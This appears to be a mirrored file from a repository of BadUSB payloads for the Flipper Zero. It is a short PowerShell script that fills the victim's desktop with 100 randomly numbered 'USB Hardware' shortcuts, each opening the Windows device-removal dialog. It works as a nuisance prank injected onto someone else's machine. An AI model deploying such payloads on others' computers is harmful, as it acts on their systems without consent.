mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-24 12:03:52 -08:00
19 lines
533 B
PowerShell
19 lines
533 B
PowerShell
$n = 100
|
|
$i = 0
|
|
|
|
while($i -lt $n)
|
|
{
|
|
$num = Get-Random
|
|
$Location = "C:\Windows\System32\rundll32.exe"
|
|
$WshShell = New-Object -ComObject WScript.Shell
|
|
$Shortcut = $WshShell.CreateShortcut("$Home\Desktop\USB Hardware" + $num + ".lnk")
|
|
$Shortcut.TargetPath = $Location
|
|
$Shortcut.Arguments ="shell32.dll,Control_RunDLL hotplug.dll"
|
|
$Shortcut.IconLocation = "hotplug.dll,0"
|
|
$Shortcut.Description ="Device Removal"
|
|
$Shortcut.WorkingDirectory ="C:\Windows\System32"
|
|
$Shortcut.Save()
|
|
Start-Sleep -Milliseconds 10
|
|
$i++
|
|
}
|